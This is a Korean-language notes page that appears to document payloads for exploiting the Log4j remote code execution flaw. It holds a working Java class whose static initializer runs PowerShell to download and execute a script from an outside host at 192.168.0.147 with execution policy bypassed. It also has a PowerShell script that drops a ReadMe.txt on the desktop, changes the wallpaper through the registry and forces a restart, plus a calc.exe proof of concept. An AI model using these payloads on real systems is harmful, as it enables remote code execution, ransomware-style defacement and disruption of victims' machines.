Search

페이로드 정리 (바탕화면 변경, ReadMe.txt 생성)

0) 환경 구성

공격에 필요한 파일 (image2.jpg, Set-wallpaper.ps1, Log4jRCE.class) 을 HTTP 서버 홈 디렉터리에 저장 후 공격 진행

1) Log4jRCE.class

import java.io.IOException; public class Log4jRCE { static { try { // PowerShell 명령어를 정의 String command = "powershell.exe -Command \"" + "$tempPath = [System.IO.Path]::Combine($env:USERPROFILE, 'AppData', 'Local', 'Set-Wallpaper.ps1'); " + "Invoke-WebRequest -Uri 'http://192.168.0.147:7979/Set-Wallpaper.ps1' -OutFile $tempPath; " + "powershell.exe -ExecutionPolicy Bypass -File $tempPath\""; // 명령어 실행 및 대기 Process process = Runtime.getRuntime().exec(command); process.waitFor(); } catch (IOException | InterruptedException e) { e.printStackTrace(); } } public static void main(String[] args) { // 메인 메서드 } }
Java
복사

2) Set-wallpaper.ps1

# 사용자 프로파일 경로의 AppData\Local 디렉토리 경로를 설정 $savePath = "$env:USERPROFILE\AppData\Local" # savePath 경로가 존재하지 않으면 새 디렉토리 생성 if (-not (Test-Path -Path $savePath)) { New-Item -ItemType Directory -Path $savePath } # 다운로드할 이미지와 텍스트 파일의 URL 설정 $imageUrl = "http://192.168.0.147:7979/image2.jpg" $imagePath = "$savePath\image2.jpg" $readmeUrl = "http://192.168.0.147:7979/ReadMe.txt" $readmePath = "$env:USERPROFILE\Desktop\ReadMe.txt" # 이미지 파일을 지정된 경로에 다운로드 Invoke-WebRequest -Uri $imageUrl -OutFile $imagePath # 텍스트 파일을 지정된 경로에 다운로드 Invoke-WebRequest -Uri $readmeUrl -OutFile $readmePath # 바탕화면 설정을 변경할 레지스트리 경로와 값 이름 설정 $registryPath = "HKCU:\Control Panel\Desktop" $registryValueName = "Wallpaper" # 레지스트리 값 설정을 통해 바탕화면 이미지를 변경 Set-ItemProperty -Path $registryPath -Name $registryValueName -Value $imagePath # 변경된 설정을 적용하기 위해 컴퓨터 재시작 Restart-Computer
PowerShell
복사
import java.io.IOException; public class Log4jRCE { static { try { // CMD command to execute the calculator application String command = "cmd.exe /c start calc.exe"; Runtime.getRuntime().exec(command); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { // main method } }
Java
복사